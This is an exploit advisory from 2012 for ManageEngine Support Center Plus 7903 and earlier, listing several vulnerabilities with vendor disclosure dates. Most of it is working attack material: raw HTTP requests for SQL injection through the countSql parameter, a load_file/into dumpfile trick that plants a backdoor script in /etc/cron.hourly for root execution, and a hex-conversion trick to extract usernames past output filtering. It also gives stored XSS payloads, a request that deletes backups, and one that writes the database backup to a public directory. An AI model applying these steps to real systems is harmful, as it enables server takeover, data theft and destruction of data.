ManageEngine Support Center Plus 7903 XSS / SQL Injection

` _______ _______ _______ __  
| _ |.--.--.| _ || _ | .-----.| |  
|. | ||_ _|| | ||. | | __ | || |  
|. | ||__.__| \___ ||. | ||__||__|__||__|  
|: 1 | |: 1 ||: 1 |   
|::.. . | |::.. . ||::.. . |   
`-------' `-------'`-------'   
  
+--------------------------------------------------------------------------------------------------------------------------------+  
| Exploit Title : ManageEngine Support Center Plus <=7903 Multiple Vulnerabilities  
| Date : 15-04-2012  
| Author : Robert 'xistence' van Hamburg (xistence<[AT]>0x90.nl  
| Software link SP : http://www.manageengine.com/products/support-center/64045241/ManageEngine_SupportCenter_Plus_7_9_0_SP-0_3_0.ppm  
| Vendor site : http://www.manageengine.com/products/support-center/  
| Version : 7903 and lower  
| Tested on : CentOS 5 Linux (Windows version also vulnerable, although untested)  
|  
| Vendor Notified : 24-08-2011  
| Vendor Fixed : 05-01-2012  
| Fixed version : 7905 - latest = 7908  
+--------------------------------------------------------------------------------------------------------------------------------+  
  
  
+--------------------------------------------------------------------------------------------------------------------------------+  
| 0x01 - SQL Injection in Row Count  
+--------------------------------------------------------------------------------------------------------------------------------+  
  
Normally when you click on the row count the following POST request is executed:  
  
POST /servlet/AJaxServlet?action=getWorkOrderCount HTTP/1.1  
Host: supportcenter:8080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:6.0.2) Gecko/20100101 Firefox/6.0.2  
Accept: text/javascript, text/html, application/xml, text/xml, */*  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
X-Requested-With: XMLHttpRequest  
X-Prototype-Version: 1.5.1.1  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Referer: http://supportcenter:8080/WOListView.do?viewName=All_Requester  
Content-Length: 2062  
Cookie: JSESSIONID=8C712F3C4F909CB5ABE4B2E9E688C55D; 2RequestsshowThreadedReq=showThreadedReqshow;  
2RequestshideThreadedReq=hideThreadedReqhide; JSESSIONIDSSO=5E58C910F58B97EF3776124641E4C4CC; PREV_CONTEXT_PATH=/custom  
Pragma: no-cache  
Cache-Control: no-cache  
  
countSql=select%20count(*)%20from%20workorder%20wo%20left%20join%20workorder_fields%20wof%20on%20wo.workorderid%3Dwof.workorderid%20left%20join%20workorder_product%20on%20wo.workorderid%3Dworkorder_product.workorderid%20left%20join%20componentdefinition%20on%20workorder_product.product_id%3Dcomponentdefinition.componentid%20inner%20join%20workorderstates%20wos%20on%20wo.workorderid%3Dwos.workorderid%20left%20join%20categorydefinition%20cd%20on%20wos.categoryid%3Dcd.categoryid%20left%20join%20subcategorydefinition%20scd%20on%20wos.subcategoryid%3Dscd.subcategoryid%20left%20join%20aaauser%20aau%20on%20wo.requesterid%3Daau.user_id%20left%20join%20aaauser%20ti%20on%20wos.ownerid%3Dti.user_id%20left%20join%20statusdefinition%20std%20on%20wos.statusid%3Dstd.statusid%20left%20join%20departmentdefinition%20dpt%20on%20wo.deptid%3Ddpt.deptid%20left%20join%20workorder_account%20woacc%20on%20wo.workorderid%3Dwoacc.workorderid%20left%20join%20aaausercontactinfo%20user_contact%20on%20aau.user_id%3Duser_contact.user_id%20left%20join%20aaacontactinfo%20rcontact%20on%20user_contact.contactinfo_id%3Drcontact.contactinfo_id%20left%20join%20leveldefinition%20lvd%20on%20wos.levelid%3Dlvd.levelid%20left%20join%20prioritydefinition%20pd%20on%20wos.priorityid%3Dpd.priorityid%20left%20join%20modedefinition%20mdd%20on%20wo.modeid%3Dmdd.modeid%20left%20join%20aaausercontactinfo%20auci1%20on%20aau.user_id%3Dauci1.user_id%20left%20join%20aaacontactinfo%20aci1%20on%20auci1.contactinfo_id%3Daci1.contactinfo_id%20left%20join%20workorder_queue%20wo_queue%20on%20wo.workorderid%3Dwo_queue.workorderid%20left%20join%20queuedefinition%20queue%20on%20wo_queue.queueid%3Dqueue.queueid%20left%20join%20sduser%20crd%20on%20wo.createdbyid%3Dcrd.userid%20left%20join%20aaauser%20cri%20on%20crd.userid%3Dcri.user_id%20left%20join%20aaaorganization%20org%20on%20woacc.accountid%3Dorg.org_id%20left%20join%20aaaorganization%20sorg%20on%20woacc.subaccountid%3Dsorg.org_id%20where%20%20((aau.user_id%20%3D%202)%20and%20((wo.isparent%20%3D%20'1')%20and%20(wo.departmentid%20%3D%201)))  
  
File access as root:  
As you see, you can put a normal MySQL query in the countSql parameter.  
However, I found out there is some input and output validation in place. It's not possible to use a "CREATE", or "INSERT" query. SELECT however is possible.  
This still makes it possible to use the following trick:  
  
Add an attachment to a (new) ticket, like a "backdoor.sh" and press attach. BUT DO NOT PRESS "DONE"! Keep the window open. The file will be in a temporary directory now. (/ManageEngine/SupportCenter/bin/Attachments/Request/<YOURUSERID>/)  
  
Now send a POST request with:  
  
countSql=select load_file("../../bin/Attachments/Request/<YOURUSERID>/backdoor.sh") into dumpfile "/etc/cron.hourly/backdoor.sh";  
  
Which creates the backdoor.sh file in /etc/cron.hourly.  
  
Above is a blind SQL injection, as you won't see the results in your browser.  
Extra note: "grant" is possible too, so you could add any user or change permissions.  
  
  
IDS/Output validation bypass:  
  
After some testing I found out it's only possible to get numeric responses back in the web browser. So you can't read usernames/md5 hashes directly from the database. However, it's still possible to bypass this "protection":  
  
We can send a query that retrieves the username of user_id =2 from the aaauser table, convert it to hex (base 16) and then convert it to base 10:  
countSql=select conv(hex(first_name),16,10) from aaauser where user_id = 2;  
  
This will give the following result:  
  
444351214452  
  
Now in any local MySQL instance you can convert that back to hex (base 16) and unhex it:  
  
mysql> select unhex(conv('444351214452', 10, 16));  
+-------------------------------------+  
| unhex(conv('444351214452', 10, 16)) |  
+-------------------------------------+  
| guest |  
+-------------------------------------+  
  
  
+--------------------------------------------------------------------------------------------------------------------------------+  
| 0x02 - Stored XSS vulnerability as anonymous user  
+--------------------------------------------------------------------------------------------------------------------------------+  
  
XSS/Cross Site Scripting vulnerability as anonymous user:  
http://support:8080/sd/Request.sd  
Vulnerable input fields are: Name, Message  
Input: <script>alert('Hello World')</script>  
  
E-mail: my-email@test'<script>alert('Hello World')</script>  
  
  
+--------------------------------------------------------------------------------------------------------------------------------+  
| 0x03 - Stored XSS vulnerabilities as ANY authenticated user - user details  
+--------------------------------------------------------------------------------------------------------------------------------+  
  
Possible by browsing to this url and fill in the form fields  
http://support:8080/RequesterDef.do?mode=edit&id=2 (id of the current user)  
Vulnerable input fields are: Name, Twitter Screen Name, Job Title  
  
Input: <script>alert('Hello World')</script>  
  
+--------------------------------------------------------------------------------------------------------------------------------+  
| 0x04 - Stored XSS vulnerabilities as ANY authenticated user - ticket  
+--------------------------------------------------------------------------------------------------------------------------------+  
  
Create a new request through the website with the http://<SUPPORTCENTER>:8080/WorkOrder.do url as any user. Enter any subject and select Plain Text on the description. Enter <script>alert("Hello World")</script> in the description field. Press "Add Request".  
  
Now when you browse to the http://<SUPPORTCENTER>:8080/WOListView.do and click on the ticket you just created you'll receive a popup which says "Hello World", which makes it possible to put stored javascript/html code inside the description.  
  
POST a new request (below are the headers to exploit this)  
POST /WorkOrder.do HTTP/1.1  
Host: support:8080  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
Referer: http://support:8080/WorkOrder.do  
Cookie: JSESSIONID=75291FED727C1BCA5CD2F5A46AA97071; PREV_CONTEXT_PATH=; JSESSIONIDSSO=BA4D299A5FCBAB586F462AED5A730D67  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 322  
  
PARAMETERS: reqTemplate=&prodId=0&priority=2&reqID=2&usertypename=Requester&reqName=guest&category=1&item=0&subCategory=0&title=Test&description=%3Cbr+%2F%3E%3Cscript%3Ealert%28%27Hello+World%27%29%3C%2Fscript%3E&MOD_IND=WorkOrder&FORMNAME=WorkOrderForm&attach=&attPath=&component=Request&attSize=&attachments=&autoCCList=&addWO=addWO  
  
  
+--------------------------------------------------------------------------------------------------------------------------------+  
| 0x05 - Delete Support Center Plus Backups as ANY authenticated user  
+--------------------------------------------------------------------------------------------------------------------------------+  
  
Delete Support Center Plus Backups as ANY authenticated user  
Change the ids= to delete other backups  
http://support:8080/BackupSchedule.do?module=delete_backup&backup_ids=<ID>  
  
  
+--------------------------------------------------------------------------------------------------------------------------------+  
| 0x06 - Create a Backup schedule as ANY authenticated user and write the backup file to a public accessible directory  
+--------------------------------------------------------------------------------------------------------------------------------+  
  
Create a Backup schedule as ANY authenticated user and write backup file to a public access directory  
Below are the headers to create a backup schedule on 2011-08-24 13:10. After this has been done, it's possible to download  
the Support Center Plus backup file at http://support:8080/inlineimages/backup_supportcenter_7901_fullbackup_08_24_2011_13_10.data  
For this you only need to know the version of the support center and the date/time (which we set our selfs in the POST)  
  
POST /BackupSchedule.do HTTP/1.1  
Host: support:8080  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1  
Accept: text/javascript, text/html, application/xml, text/xml, */*  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
X-Requested-With: XMLHttpRequest  
X-Prototype-Version: 1.5.1.1  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Referer: http://support:8080/AdminHome.do  
Cookie: JSESSIONID=001CFC62780059CC1FC04ADA6CF7347D; PREV_CONTEXT_PATH=; fromPortal=customerportal; JSESSIONIDSSO=57D961350A26A1D9D8C70AFA6E10760E  
DNT: 1  
Pragma: no-cache  
Cache-Control: no-cache  
  
PARAMETERS module=save_schedule&days=1&backupStartDate=2011-08-24&hours=13&minutes=10&backupType=fullbackup&backupstatus=enabled&backupLocation=..%2Finlineimages%2F  
  
  
`